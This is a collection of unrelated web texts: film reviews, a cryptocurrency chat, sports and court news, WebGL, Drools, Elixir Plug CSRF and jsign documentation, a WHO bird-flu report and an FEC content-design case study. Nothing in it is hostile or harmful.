Just what is Sophie Marceau doing in this movie anyway? She became known on this side of the Atlantic playing the princess in "Braveheart." Her upcoming films include the new Bond movie ("The World Is Not Enough") and Shakespeare's "A Midsummer Night's Dream." She has way too much class to be in this movie (although it is fun to see her clowning around during the end credits).
The rest of the cast is a bizarre mix. Artie Lange plays Wally, Dylan's dimwitted sidekick. Wally has the crudest of the crude scenes, and "Lost & Found" would be much more pleasant to watch if he were edited out entirely. (Besides, the inclusion of the rotund Lange seems a vain attempt to replace Spade's late partner, Chris Farley.) Dylan's landlady (Estelle Harris of "Seinfeld") plays poker with a group of lusty, beer-swilling broads (including Rose Marie of "The Dick Van Dyke Show" and Marla Gibbs of "The Jeffersons"). Jon Lovitz has a cameo as a "dog whisperer," and Martin Sheen (whatever happened to his career? or his dignity?) is the banker that Dylan has to impress to get a loan for his restaurant.
Grade: D
© 1999 Christian L. Pyle
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[dscrd-hush] <dukeleto> @denio very nice
[dscrd-hush] <dukeleto> @Privatoshi YEC is just a wing of ZEC, basically
[dscrd-hush] <dukeleto> All the people who own the most ZEC, they were awarded a massive pile of YEC. Which is why it's a "friendly fork" and which is why Zcash Company is actually helping them
[dscrd-hush] <dukeleto> YEC is a huge pile of free money for ZEC
[dscrd-hush] <Privatoshi> As they used to say,
Down with the King
[dscrd-hush] <dukeleto> I support any coins right to exist, if people want to make it/etc
[dscrd-hush] <dukeleto> YEC is precisely the same tech as ZEC, which equihash params changed to allow FPGAs/GPUs to mine instead of asics, for now
[dscrd-hush] <Privatoshi> We have a higher mission here tho that serves the people
[dscrd-hush] <dukeleto> That is all it is.
[dscrd-hush] <dukeleto> YEC is a logo+name change, and changed 2 numbers relating to mining. That is the extent of YEC tech
[dscrd-hush] <dukeleto> It's purpose is to make money
[dscrd-hush] <Privatoshi> Privacy, for me, is key.
[dscrd-hush] <dukeleto> Yeah, privacy is important to me too. I see it eroding, even in my own life, in all directions. So that is what motivates me to work on Hush
[dscrd-hush] <dukeleto> To give people a tool to get back a small bit of privacy
[dscrd-hush] <Privatoshi> And no privacy coin should sacrifice or do anything, to possibly increase the chance of putting it at risk
[dscrd-hush] <Privatoshi> The past 5 years, I feel like privacy has been one side taking and the other conceding.
[dscrd-hush] <Privatoshi> And that's not to say projects like HUSH don't play their part, bc they damn sure well do
[dscrd-hush] <Privatoshi> I just mean the bigger battles, where regular people just concede privacy, without caring ...and it affects us all


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Luka Doncic dismantles Warriors in only three quarters with another dazzling triple-double
by Dan BernsteinLuka Doncic hascaptured the attention of the NBA-watching universe — not just in a check-the-numbers kind of way, but a must-watch-his-games respect.
One game after the Mavericks guard recordeda 40-point triple-double against the Spurs, he picked apart the depleted Warriors on Wednesday night with a 35-point, 11-assist and 10-reboundperformance. The 20-year-oldscored 22 points in the first quarter alone — his career high for a single period.
Doncic might not be better than LeBron or Giannis at this point, though that debate will probably be had soon; however, there's a case to be made that he's the more novel draw.
MORE: Why Jrue Holiday is so special to New Orleans
Doncic won Rookie of the Year honors last season, but he has leveled up in 2019, improving his shooting efficiency, playmaking ability and work on the boards.
Sure, his opponent Wednesday resembed a G-League unit. Golden State is without Stephen Curry, Klay Thompson, D'Angelo Russell and Draymond Green, but given the context of the run Doncic has been on, theperformance was still special.
His early scoring barrage showed the mix of go-to moves he has at his disposal. In addition toa couple of his patented step-back 3s from the left wing, he demonstrated his explosiveness going to the rim and strong decision-making in transition.
If the Mavericks weren't up 40 in the third quarter (they wound up winning 142-94), Doncic would have had an opportunity to play more than 25minutes (he averages 35 per game).
He still managed to check off some historicboxes. Here are some of the most notable figures from one of the best games of his early career:


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Rape victim’s lack of mental maturity no reason to acquit convict: HC
by Legal CorrespondentThe Madras High Court pre-empted an attempt made by a rape convict to escape from the clutches of law by claiming that the victim did not have the mental maturity expected of a 40-year-old and therefore no credence should be given to her complaint.
Dismissing a criminal appeal filed by him, Justice S. Vaidyanathan said, “Mental immaturity is different from mental illness. If a person is mentally ill, there would not be clarity in his/her statement. Here, the victim has given a brief statement of what had happened to her. Though, she has not got the reasoning capacity of a 40-year-old, she has got the capacity of understanding as to what is happening around her.”


filmcritic.com presents a review from staff member Athan Bezaitis. You can find the review with full credits at http://www.filmcritic.com/misc/emporium.nsf/2a460f93626cd4678625624c007f2b46/43351ef3c2564bcb8825688400610dcc?OpenDocument
GHOST DOG: THE WAY OF THE SAMURAI A film review by Athan Bezaitis. Copyright Filmcritic.com 2000
Written and directed by Jim Jarmusch, GHOST DOG: THE WAY OF THE SAMURAI embodies a variety of genres from Mobster to Urban to Martial Arts. Jarmusch, critically acclaimed for MYSTERY TRAIN (1989) and STRANGER THAN PARADISE (1984), stays true to his uniquely languid and methodical style in telling the fascinating story of Ghost Dog (Forest Whitaker - THE CRYING GAME, PHENOMENON), a contract killer who has isolated himself from society by taking refuge in a shack atop an inner city rooftop that he shares with a flock of pigeons.
Ghost Dog studies the early eighteenth century Japanese warrior code from the book, Hagakure: The Way of the Samurai, and the story is told as a sequence of verses from the ancient text. Each morning he bows to the altar he has constructed and practices the ancient disciplines of the samurai training. In the spirit of the ancient warriors, he has pledged his loyalty to a single master, a small-time mobster named Louie (John Tormey - KISS ME GUIDO, JUNGLE 2 JUNGLE), who saved Ghost Dog's life when he was young. As an assassin, Ghost Dog communicates only via carrier pigeon and moves through the night like a phantom, killing with the skill and speed of a true Samurai.
Louie is a foot soldier in a struggling and aging crime family headed by Ray Vargo (Henry Silva).  Unfortunately, Louise happens to be in Frank's apartment when Ghost Dog offs Handsome Frank, and now the infuriated mob boss Vargo wants the hit-man dead. Using the wisdom and insight that he has learned from Hagakure and other ancient Eastern books, Ghost Dog must now confront the notorious crime family, or die.
Jarmusch's signature of inimitable characters with distinctive humor is apparent throughout, as both the mobsters and Ghost Dog are ruthless yet remain loveable. The film's score is a compilation of hip-hop and reggae beats done by The Rza, Wu Tang Clan's founder, and it effectively underscores Ghost Dog's ascetic spirituality along with the harsh tones of the surrounding urban environment. The story is well written, and Forest Whitaker's performance is moving. Also noteworthy is the jovial, French, ice cream vendor, Raymond (Isaach de Bankole). Raymond doesn't understand a word of English, and Ghost Dog doesn't speak any French, yet the two have a platonic understanding of one another that lets them speak, despite the language barrier.
On the flip side, my only qualm is that the film is too slow at certain points and may have benefited from some good editing. Also, Ghost Dog's stroll is appropriately meticulous in keeping with the method of the Samurai, but towards the end, I was fed up with his overly deliberate pace.
All in all, I highly recommend GHOST DOG -- it is truly an original. No other filmmaker has made such a bold statement about the parallels of societal violence that exist between cultures, whether Ancient Eastern, Mafioso, or Urban gangster. Fans of any of the three genres will be sure to enjoy this one.
Writer/Director: Jim Jarmusch Starring: Forest Whitaker, John Tormey, Cliff Gorman, Frank Minucci, Richard Portnow, Tricia Vessey, Henry Silva, Gene Ruffini, Frank Adonis, Victor Argo, Isaach de Bankole, Camille Winbush Producers: Jim Jarmusch, Ricard Guay, Diana Schmidt MPAA Rating: R Year of Release: 1999
4 stars
-- Christopher Null -<EMAIL_ADDRESS>- http://www.filmcritic.com
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The main constructor function for the Geometry class. Use this to create a new Geometry.
Syntax:
const model = new Model(options);
Arguments:
options - (object) An object containing the following options:
Options:
id - (string, optional) An id for the model. If not provided, a random unique identifier will be created.
dynamic - (boolean, optional) If true then the vertices and normals will always be updated in the Buffer Objects before rendering. Default’s false.
display - (boolean, optional) If false the element won’t be displayed in the scene. Default’s true.
vertices - (array, optional) An array of floats that describe the vertices of the model.
normals - (array, optional) An array of floats that describe the normals of the model.
textures - (array, optional) An array of strings of texture ids.
texCoords - (mixed, optional) Can be an array of floats indicating the texture coordinates for the texture to be used or an object that has texture ids as keys and an array of floats as values.
colors - (array, optional) An array of colors in RGBA. If just one color is specified that color will be used for all faces.
drawType - (string, optional) A string describing the drawType. Some options are TRIANGLES, TRIANGLE_STRIP, POINTS, LINES. Default’s TRIANGLES.
indices - (array, optional) An array of numbers describing the vertex indices for each face.
attributes - (object, optional) An object with buffer/attribute names and buffer/attribute descriptors to be set before rendering the model. If you want to know more
about attribute descriptors you can find a description of them in program.setBuffer.
uniforms - (object, optional) An object with uniform names and values to be set before rendering the model.
render - (function, optional) A function to be called for rendering the object instead of the default Scene rendering method.
pickable - (boolean, optional) If true the element can be selected with the mouse when using picking on the Event configuration. Default’s false.
pickingColors - (array, optional) A custom set of colors to render the object to texture when performing the color picking algorithm.
pick - (function, optional) A custom pick function called with the retrieved pixel color from the picking texture.
array of floats as values (to handle multiple textures).
Notes:
Attribute arrays are implemented as getters and
setters, and may not return the same information they’ve been set with.
Internally, attribute arrays are transformed into
typed arrays.
Attribute arrays only accept plain arrays.
If you set a color attribute as a single color, then the array will
be cloned to match the number of components for the model and will be
served as an attribute. The getter for this property will return the
cloned typed array.
Examples:
Create a pyramid model (used in lesson 4 of learning WebGL examples).
Create a pyramid model and add some extra buffer information and uniform
color to be set before rendering the model.
Model Method: update {Model:update}
Update the model matrix. Useful to update changes to the position, rotation or scale properties.
Syntax:
model.update();
Examples:
Change the position of the pyramid model and update its matrix.
Class: Cube {Cube}
Creates a Cube model. Inherits methods from Model.
Extends
Model
Cube Method: constructor {Cube:constructor}
The main constructor function for the Cube class. Use this to create a new Cube. Accepts the same properties and
options as Model constructor but has preset for vertices, normals and indices.
Syntax:
var model = new Cube(options);
Arguments:
options - (object) The same options as in Model constructor but has preset for vertices, normals and indices.
Examples:
Create a white cube.
Class: Sphere {Sphere}
Creates a Sphere model. Inherits methods from Model.
Extends
Model
Sphere Method: constructor {Sphere:constructor}
The main constructor function for the Sphere class. Use this to create a new Sphere.
Syntax:
var model = new Sphere(options);
Arguments:
options - (object) An object containing as properties:
Options:
nlat - (number, optional) The number of vertices for latitude. Default’s 10.
nlong - (number, optional) The number of vertices for longitude. Default’s 10.
radius - (number, optional) The radius of the sphere. Default’s 1.
Examples:
Create a white Sphere of radius 2.
Class: IcoSphere {IcoSphere}
Creates a Sphere model by subdividing an Icosahedron. Inherits methods from Model.


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type=normalBase description=Various videos about Drools title=Videos keywords=video, youtube, DRL, DMN, open source, Java, drools, Decision Model and Notation all_videos=true ~~~~~~
To learn more about Drools and keep up to speed with the latest and greatest capabilities check out the videos on the KIE Community YouTube channel.
The KIE Community Youtube channel is an open space for all topics related business automation. You can find vast set of content about business rules, decisions, processes, resource planning, tooling, engine, trusty AI, and much more. Don't forget to subscribe: you'll be the first to know about the latest and greatest features being created for these projects.
KIE Live is a series of public live streamings for knowledge sharing about any Business Automation topic: business rules, decisions, processes, resource planning, tooling, engine, trusty AI, etc. It is a community effort, therefore, it mentions not only the enterprise products and features but also, the projects that compose Red Hat Process Automation Manager and Decision Manager. It highlights features that might be on the roadmap but are not yet supported in the products.
You can also bookmark this playlist with all the previous sessions: https://red.ht/kielives
A KIE Drop is a short, focused, five minute (or less) video used to promote an idea, news about the projects under the KIE umbrella, or explanation of key capabilities.
Do you have an idea for a KIE Drop? Get in contact with us.
A series exploring process & business Automation, where we take you on a general technical
and cultural journey through approaches to integrating process and business automation rules. You can
delve into workflow through the eyes of some of our core international Red Hat® engineers’ community
KIE projects.
This KIE Week will offer a single one-hour session each day.
A collection of presentations covering the DMN open source engine of Drools.
If you published a public video featuring Drools, let us know and we'll happily re-share it on our KIE Community channels.
See Mark Proctor’s playlist on YouTube for a list of all KIE Worbench.
See Mark Proctor’s playlist on YouTube for a list of all Drools Editor Metaphores.
Other videos


Stunning pictures show Merseyside's Christmas lights through the years
We take a look back at some of the stunning displays
by Olivia TobinLast week saw Christmas officially kick off in Liverpool as the annual festive lights were switched on.
The city centre was lit up like never before as light installations, an enchanted Polar Adventure train and a magical musical light tunnel were featured in the display.
The annual light display is something Christmas lovers look forward to all year, but how does this year's display compare to other years?
We took a look back at some of the best Christmas lights Merseyside has ever seen.
Christmas 1995
Church Street looked stunning as the display was set up on November 16.
Christmas 1986
Nine years earlier thousands of people descended on Church Street to see the display, which went up on November 27.
Christmas 1980
Comedian Les Dawson was in Liverpool for the Christmas light switch on in 1980.
He was joined by the Lord Mayor Cllr James Ross on December 5 to turn the lights on.
Christmas 1969
Shoppers were packed in on Church Street on November 28 to see the glittering lights
Christmas 1991
A two-year-old girl can be seen enjoying the magic of Christmas in 1991 as she's pictured on her mum's shoulders on November 22.
Chloe and her mum Vanda McDonough, from Childwall, were pictured on Church Street.
Christmas 1993
Three adorable children were pictured on November 19, 1993 marvelling at the display.
Christmas 1961
Birkenhead's illuminations lit up Grange Road in 1961 as a showpiece was installed.
A stunning picture of it was taken on November 30.
Christmas 1968
A quieter Church Street, without shoppers, was captured on December 13 as the display glittered above.
Christmas 1982
Liverpool's city centre Christmas tree was switched on by Tommy Steele, as he's pictured with eight-year-old Claire Ryan, from Speke.
Christmas 1954
A huge crowd of carol singers can be seen under an enormous tree in St George's plateau, on December 20.
A group of spectators can be later seen admiring the tree after snowfall in the city.
Christmas 2016
Liverpool legend John Barnes was there to mark the special occasion in Birkenhead in 2016.
He switched the lights on in Hamilton Square.
Christmas 1976
A whole host of fashionable shoppers were captured on Church Street getting their Christmas shopping in December.
The 1970s Christmas display can be seen above.
Christmas 1972
The same decade saw comedian Tom O'Connor at the Christmas light display in Liverpool city centre.
Christmas 1963
Flintstones cartoon characters can be seen getting carried to the roundabout at Charing Cross, in Birkenhead, in 1968.
The lights were tested before their official switch on on November 23.
Christmas 2014
Jack Frost unveiled the festive display to shoppers in 2014, on Church Street.
Christmas 1969
Ken Dodd stepped in to switch the lights on on November 28.
He was pictured on Church Street with Paula Clee, six, from Toxteth.


Plug v1.4.3 Plug.CSRFProtection View Source
Plug to protect from cross-site request forgery.
For this plug to work, it expects a session to have been
previously fetched. It will then compare the plug stored
in the session with the one sent by the request to determine
the validity of the request. For an invalid request the action
taken is based on the :with
option.
The token may be sent by the request either via the params with key “_csrf_token” or a header with name “x-csrf-token”.
GET requests are not protected, as they should not have any side-effect or change your application state. JavaScript requests are an exception: by using a script tag, external websites can embed server-side generated JavaScript, which can leak information. For this reason, this plug also forbids any GET JavaScript request that is not XHR (or AJAX).
Note that it is recommended to enable CSRFProtection whenever a session is used, even for JSON requests. For example, Chrome had a bug that allowed POST requests to be triggered with arbitrary content-type, making JSON exploitable. More info: https://bugs.chromium.org/p/chromium/issues/detail?id=490015
Token generation
This plug won’t generate tokens automatically. Instead,
tokens will be generated only when required by calling
Plug.CSRFProtection.get_csrf_token/0
. The token is then
stored in the process dictionary to be set in the request.
One may wonder: why the process dictionary?
The CSRF token is usually generated inside forms which may be isolated from the connection. Storing them in the process dictionary allows them to be generated as a side-effect, becoming one of those rare situations where using the process dictionary is useful.
Options
:session_key
- the name of the key in session to store the token under:with
- should be one of:exception
or:clear_session
. Defaults to:exception
.:exception
- for invalid requests, this plug will raisePlug.CSRFProtection.InvalidCSRFTokenError
.:clear_session
- for invalid requests, this plug will set an empty session for only this request. Also any changes to the session during this request will be ignored.
Disabling
You may disable this plug by doing
Plug.Conn.put_private(:plug_skip_csrf_protection, true)
. This was made
available for disabling Plug.CSRFProtection
in tests and not for dynamically
skipping Plug.CSRFProtection
in production code. If you want specific routes to
skip Plug.CSRFProtection
, then use a different stack of plugs for that route that
does not include Plug.CSRFProtection
.
Examples
plug Plug.Session, ...
plug :fetch_session
plug Plug.CSRFProtection
Link to this section Summary
Functions
Callback implementation for Plug.call/2
Deletes the CSRF token from the process dictionary
Gets the CSRF token
Callback implementation for Plug.init/1
Link to this section Functions
Callback implementation for Plug.call/2
.
Deletes the CSRF token from the process dictionary.
This will force the token to be deleted once the response is sent.
Gets the CSRF token.
Generates a token and stores it in the process dictionary if one does not exist.
Callback implementation for Plug.init/1
.


14 December 2005
The Ministry of Health in Indonesia has confirmed a further case of human infection with the H5N1 avian influenza virus. The case occurred in a 35-year-old man from West Jakarta. He developed symptoms of fever, cough and breathing difficulty on 6 November, was hospitalized on 9 November, and died on 19 November.
Family members and close contacts were placed under observation and tested for possible infection. No evidence of additional cases has been detected.
Investigations have been undertaken to determine the source of the man’s exposure. While he did not keep poultry in his household, chickens and other birds were found in his neighbourhood. Samples from these birds have been taken and are undergoing tests to determine whether they may have been the source of infection.
The newly confirmed case is the 14th in Indonesia. Of these cases, nine have been fatal.


The Federal Election Commission (FEC) administers and enforces federal campaign finance law. For every presidential or Congressional election, the FEC governs how campaigns raise, account for, and spend funds. In 2017 I joined a distributed team of designers and developers working with the FEC to redesign their website.
When I joined the team, the focal points of the work were 1) completing migration to a beta version of the new site suffiently to make it the primary site; and 2) coaching the FEC’s content managers, designers, and engineers to manage the site effectively without us.
Much of the content work that had already been done focused on developing plain language help for people who needed to understand the rules: eligibility, deadlines, definitions, etc. What had not been worked on was reporting guidance. Every candidate, party, and political action committee that engages in political activity for federal elections has reporting requirements. Since the FEC’s enforcement actions and data publication stem directly from what people report, getting this right was essential.
The FEC had plenty of material to support reporting: software to manage and automate filing, along with its user manual; complex scenarios designed to train multiple reporting needs at once at in-person conferences; full-scale campaign finance guides for each type of campaign committee; video walkthroughs of the software; and FAQs. For nearly every reporting task, there was some overlapping combination of examples and instruction available, each produced and managed by a different set of people.
Research showed that repetitive and disparate reporting example content meant people were never certain they had the most up-to-date information, or complete information. Siloing the content types away from each other confused users. Teams at the FEC were repeating work they didn’t need to. And keeping them separate from the help content meant it was never available as-needed in the amount needed; veteran campaigners might know it, but it was effectively hidden from people new to the field. They needed reporting information in digestible amounts, right when they needed it, with no mystery pieces left out.
I partnered with a senior FEC analyst to select relatively complex examples of reporting needs (for example, how to report a loan from a candidate to their own campaign and then how to report repayment of that same loan). These served as the basis for the instructions we hoped to develop.
Our next task was to figure out how to contextualize reporting as an activity. Most reporting is quarterly, but it stems from actions taken every day. So first we established that every one of the reporting needs, both our chosen examples and others, corresponded to existing or in-progress help content. (For example, there was already content about whether and how a candidate could make a loan to their own campaign, and what the rules were for repaying that loan.) The opportunity was clear: when someone encountered an unfamiliar situation, that was a chance to explain both the rules and how to report their activity under those rules. Giving that context to reporting could make it more memorable.
From there, I pulled the relevant information for each of our chosen examples from the existing reporting materials. I built single narratives for each example, shifting language to abide by our new style guide and to take advantage of the FEC glossary. We incorporated supporting media like images of standard forms and links to instructional video where appropriate.
As I wrote the first sample, I outlined it in a basic content model. For each new sample, I adjusted the model. Since we’d chosen complex samples, we expected the model that resulted from my sample versions could cover most use cases cleanly.
I then worked through approaches with our visual designer, adjusting language and hierarchy to make sure the structure could work with our principles and style. Once implemented, the result was a new content type in the CMS called reporting examples, presented individually on the website as How to report: [need]. And because it was its own content type, we could drop cards linking to the reporting examples into any help content where they were relevant. The help content could lead people naturally into the reporting examples.
Lastly, we needed to make sure the new reporting example format was usable for the FEC’s content managers. I created a style guide for the components of the model. The analyst built a few, then she and I worked through the guide to make sure it addressed her questions so that the other content managers from her division could develop examples easily. Our visual designer worked through some of the same challenges with a graphic designer at the FEC who developed supporting imagery for the examples. Following our work together, the FEC published dozens in the new format in the space of a few weeks.
The reporting examples eliminated the partial overlaps of information, brought different aspects of the reporting process together out of their siloes, reduced duplication of work, and delivered the content to users right where they needed to understand it. Because the content managers from the FEC helped develop the process and the style guide, they were ready to implement it once we’d demonstrated that it works. Usability testing with campaign staffers demonstrated it was easy to follow and learn from.
The reporting example used most consistenly in this case study is Candidate personal funds loans.


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AuthenticodeTimestamper
- Class in
net.jsign.timestamp
Legacy Authenticode timestamping.
AuthenticodeTimestamper()
- Constructor for class net.jsign.timestamp.
AuthenticodeTimestamper
C
CertificateTableEntry
- Class in
net.jsign.pe
Entry of the certificate table.
CertificateTableEntry(CMSSignedData)
- Constructor for class net.jsign.pe.
CertificateTableEntry
CertificateType
- Enum in
net.jsign.pe
Type of a WIN_CERTIFICATE structure.
close()
- Method in class net.jsign.pe.
PEFile
computeChecksum()
- Method in class net.jsign.pe.
PEFile
Compute the checksum of the image file.
computeDigest(DigestAlgorithm)
- Method in class net.jsign.pe.
PEFile
Compute the checksum of the file using the specified digest algorithm.
create(TimestampingMode)
- Static method in class net.jsign.timestamp.
Timestamper
Returns the timestamper for the specified mode.
D
DataDirectory
- Class in
net.jsign.pe
Entry of the data directory.
DataDirectoryType
- Enum in
net.jsign.pe
Types of structures pointed in the "RVA & Sizes" table (data directory).
DigestAlgorithm
- Enum in
net.jsign
Digest algorithm.
E
execute()
- Method in class net.jsign.
PESignerTask
exists()
- Method in class net.jsign.pe.
DataDirectory
G
getAddressOfEntryPoint()
- Method in class net.jsign.pe.
PEFile
The address of the entry point relative to the image base when the executable file is loaded into memory.
getBaseOfCode()
- Method in class net.jsign.pe.
PEFile
The address that is relative to the image base of the beginning-of-code section when it is loaded into memory.
getBaseOfData()
- Method in class net.jsign.pe.
PEFile
The address that is relative to the image base of the beginning-of-data section when it is loaded into memory (PE32 only).
getCharacteristics()
- Method in class net.jsign.pe.
PEFile
The flags that indicate the attributes of the file.
getCharacteristics()
- Method in class net.jsign.pe.
Section
The flags that describe the characteristics of the section.
getCheckSum()
- Method in class net.jsign.pe.
PEFile
The image file checksum.
getDataDirectory(DataDirectoryType)
- Method in class net.jsign.pe.
PEFile
Returns the data directory of the specified type.
getDefault()
- Static method in enum net.jsign.
DigestAlgorithm
Return the default algorithm (currently SHA-256, SHA-1 has been deprecated since January 1st 2016).
getDllCharacteristics()
- Method in class net.jsign.pe.
PEFile
getExtraCertificates(CMSSignedData)
- Method in class net.jsign.timestamp.
AuthenticodeTimestamper
getExtraCertificates(CMSSignedData)
- Method in class net.jsign.timestamp.
Timestamper
Return the certificate chain of the timestamping authority if it isn't included with the counter signature in the unsigned attributes.
getFileAlignment()
- Method in class net.jsign.pe.
PEFile
The alignment factor (in bytes) that is used to align the raw data of sections in the image file.
getFormat()
- Method in class net.jsign.pe.
PEFile
getImageBase()
- Method in class net.jsign.pe.
PEFile
The preferred address of the first byte of image when loaded into memory; must be a multiple of 64 K.
getLoaderFlags()
- Method in class net.jsign.pe.
PEFile
Reserved, must be zero.
getMachineType()
- Method in class net.jsign.pe.
PEFile
getMajorImageVersion()
- Method in class net.jsign.pe.
PEFile
The major version number of the image.
getMajorLinkerVersion()
- Method in class net.jsign.pe.
PEFile
The linker major version number.
getMajorOperatingSystemVersion()
- Method in class net.jsign.pe.
PEFile
The major version number of the required operating system.
getMajorSubsystemVersion()
- Method in class net.jsign.pe.
PEFile
The major version number of the subsystem.
getMessageDigest()
- Method in enum net.jsign.
DigestAlgorithm
Return a MessageDigest for this algorithm.
getMinorImageVersion()
- Method in class net.jsign.pe.
PEFile
The minor version number of the image.
getMinorLinkerVersion()
- Method in class net.jsign.pe.
PEFile
The linker minor version number.
getMinorOperatingSystemVersion()
- Method in class net.jsign.pe.
PEFile
The minor version number of the required operating system.
getMinorSubsystemVersion()
- Method in class net.jsign.pe.
PEFile
The minor version number of the subsystem.
getName()
- Method in class net.jsign.pe.
Section
An 8-byte, null-padded UTF-8 encoded string.
getNumberOfLineNumbers()
- Method in class net.jsign.pe.
Section
The number of line-number entries for the section.
getNumberOfRelocations()
- Method in class net.jsign.pe.
Section
The number of relocation entries for the section.
getNumberOfRvaAndSizes()
- Method in class net.jsign.pe.
PEFile
The number of data-directory entries in the remainder of the optional header.
getNumberOfSections()
- Method in class net.jsign.pe.
PEFile
The number of sections.
getNumberOfSymbols()
- Method in class net.jsign.pe.
PEFile
The number of entries in the symbol table.
getPointerToLineNumbers()
- Method in class net.jsign.pe.
Section
The file pointer to the beginning of line-number entries for the section.
getPointerToRawData()
- Method in class net.jsign.pe.
Section
The file pointer to the first page of the section within the COFF file.
getPointerToRelocations()
- Method in class net.jsign.pe.
Section
The file pointer to the beginning of relocation entries for the section.
getPointerToSymbolTable()
- Method in class net.jsign.pe.
PEFile
The file offset of the COFF symbol table, or zero if no COFF symbol table is present.
getSectionAlignment()
- Method in class net.jsign.pe.
PEFile
The alignment (in bytes) of sections when they are loaded into memory.
getSections()
- Method in class net.jsign.pe.
PEFile
getSignature()
- Method in class net.jsign.pe.
CertificateTableEntry
getSignatures()
- Method in class net.jsign.pe.
PEFile
Returns the authenticode signatures on the file.
getSize()
- Method in class net.jsign.pe.
CertificateTableEntry
getSize()
- Method in class net.jsign.pe.
DataDirectory
getSizeOfCode()
- Method in class net.jsign.pe.
PEFile
The size of the code (text) section, or the sum of all code sections if there are multiple sections.
getSizeOfHeaders()
- Method in class net.jsign.pe.
PEFile
The combined size of an MS DOS stub, PE header, and section headers rounded up to a multiple of FileAlignment.
getSizeOfHeapCommit()
- Method in class net.jsign.pe.
PEFile
The size of the local heap space to commit.
getSizeOfHeapReserve()
- Method in class net.jsign.pe.
PEFile
The size of the local heap space to reserve.
getSizeOfImage()
- Method in class net.jsign.pe.
PEFile
The size (in bytes) of the image, including all headers, as the image is loaded in memory.
getSizeOfInitializedData()
- Method in class net.jsign.pe.
PEFile
The size of the initialized data section, or the sum of all such sections if there are multiple data sections.
getSizeOfOptionalHeader()
- Method in class net.jsign.pe.
PEFile
The size of the optional header, which is required for executable files but not for object files.
getSizeOfRawData()
- Method in class net.jsign.pe.
Section
The size of the section (for object files) or the size of the initialized data on disk (for image files).
getSizeOfStackCommit()
- Method in class net.jsign.pe.
PEFile
The size of the stack to commit.
getSizeOfStackReserve()
- Method in class net.jsign.pe.
PEFile
The size of the stack to reserve.
getSizeOfUninitializedData()
- Method in class net.jsign.pe.
PEFile
The size of the uninitialized data section (BSS), or the sum of all such sections if there are multiple BSS sections.
getSubsystem()
- Method in class net.jsign.pe.
PEFile
The subsystem that is required to run this image.
getTimeDateStamp()
- Method in class net.jsign.pe.
PEFile
The low 32 bits of the number of seconds since 00:00 January 1, 1970 (a C runtime time_t value), that indicates when the file was created.
getUnsignedAttributes(CMSSignedData)
- Method in class net.jsign.timestamp.
AuthenticodeTimestamper
getUnsignedAttributes(CMSSignedData)
- Method in class net.jsign.timestamp.
RFC3161Timestamper
getUnsignedAttributes(CMSSignedData)
- Method in class net.jsign.timestamp.
Timestamper
Return the counter signature to be added as an unsigned attribute.
getValue()
- Method in enum net.jsign.pe.
CertificateType
getVirtualAddress()
- Method in class net.jsign.pe.
DataDirectory
getVirtualAddress()
- Method in class net.jsign.pe.
Section
For executable images, the address of the first byte of the section relative to the image base when the section is loaded into memory.
getVirtualSize()
- Method in class net.jsign.pe.
Section
The total size of the section when loaded into memory.
getWin32VersionValue()
- Method in class net.jsign.pe.
PEFile
Reserved, must be zero.
I
id
- Variable in enum net.jsign.
DigestAlgorithm
The JCE name of the algorithm
M
MachineType
- Enum in
net.jsign.pe
Target architecture of an executable file.
main(String...)
- Static method in class net.jsign.
PESignerCLI
modifySignedData(CMSSignedData, AttributeTable, Collection<X509CertificateHolder>)
- Method in class net.jsign.timestamp.
Timestamper
N
net.jsign
- package net.jsign
net.jsign.pe
- package net.jsign.pe
net.jsign.timestamp
- package net.jsign.timestamp
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of(String)
- Static method in enum net.jsign.
DigestAlgorithm
Parse the specified value and returns the corresponding digest algorithm.
of(ASN1ObjectIdentifier)
- Static method in enum net.jsign.
DigestAlgorithm
Return the algorithm matching the specified object identifier.
of(String)
- Static method in enum net.jsign.timestamp.
TimestampingMode
oid
- Variable in enum net.jsign.
DigestAlgorithm
The object identifier of the algorithm
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pad(int)
- Method in class net.jsign.pe.
PEFile
Increase the size of the file up to a size that is a multiple of the specified value.
parse(File, String)
- Static method in class net.jsign.
PVK
parse(ByteBuffer, String)
- Static method in class net.jsign.
PVK
PEFile
- Class in
net.jsign.pe
Portable Executable File.
PEFile(File)
- Constructor for class net.jsign.pe.
PEFile
PEFormat
- Enum in
net.jsign.pe
Portable Executable Format.
PESigner
- Class in
net.jsign
Sign a portable executable file.
PESigner(Certificate[], PrivateKey)
- Constructor for class net.jsign.
PESigner
PESigner(KeyStore, String, String)
- Constructor for class net.jsign.
PESigner
PESignerCLI
- Class in
net.jsign
Command line interface for signing PE files.
PESignerTask
- Class in
net.jsign
Ant task for signing executable files.
PESignerTask()
- Constructor for class net.jsign.
PESignerTask
printInfo(OutputStream)
- Method in class net.jsign.pe.
PEFile
Print detailed informations about the PE file.
printInfo(PrintWriter)
- Method in class net.jsign.pe.
PEFile
Print detailed informations about the PE file.
PVK
- Class in
net.jsign
PVK file parser.
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RFC3161Timestamper
- Class in
net.jsign.timestamp
RFC 3161 timestamping.
RFC3161Timestamper()
- Constructor for class net.jsign.timestamp.
RFC3161Timestamper
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Section
- Class in
net.jsign.pe
Section of an executable file.
SectionFlag
- Enum in
net.jsign.pe
Characteristics of the section of an executable file.
setAlg(String)
- Method in class net.jsign.
PESignerTask
setAlias(String)
- Method in class net.jsign.
PESignerTask
setCertfile(File)
- Method in class net.jsign.
PESignerTask
setFile(File)
- Method in class net.jsign.
PESignerTask
setKeyfile(File)
- Method in class net.jsign.
PESignerTask
setKeypass(String)
- Method in class net.jsign.
PESignerTask
setKeystore(File)
- Method in class net.jsign.
PESignerTask
setName(String)
- Method in class net.jsign.
PESignerTask
setSignature(CMSSignedData)
- Method in class net.jsign.pe.
CertificateTableEntry
setStorepass(String)
- Method in class net.jsign.
PESignerTask
setStoretype(String)
- Method in class net.jsign.
PESignerTask
setTsaurl(String)
- Method in class net.jsign.
PESignerTask
setTsmode(String)
- Method in class net.jsign.
PESignerTask
setUrl(String)
- Method in class net.jsign.
PESignerTask
setURL(String)
- Method in class net.jsign.timestamp.
Timestamper
sign(PEFile)
- Method in class net.jsign.
PESigner
Sign the specified executable file.
Subsystem
- Enum in
net.jsign.pe
The subsystem of an executable file.
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timestamp(DigestAlgorithm, byte[])
- Method in class net.jsign.timestamp.
AuthenticodeTimestamper
timestamp(DigestAlgorithm, byte[])
- Method in class net.jsign.timestamp.
RFC3161Timestamper
timestamp(DigestAlgorithm, CMSSignedData)
- Method in class net.jsign.timestamp.
Timestamper
Timestamp the specified signature.
timestamp(DigestAlgorithm, byte[])
- Method in class net.jsign.timestamp.
Timestamper
Timestamper
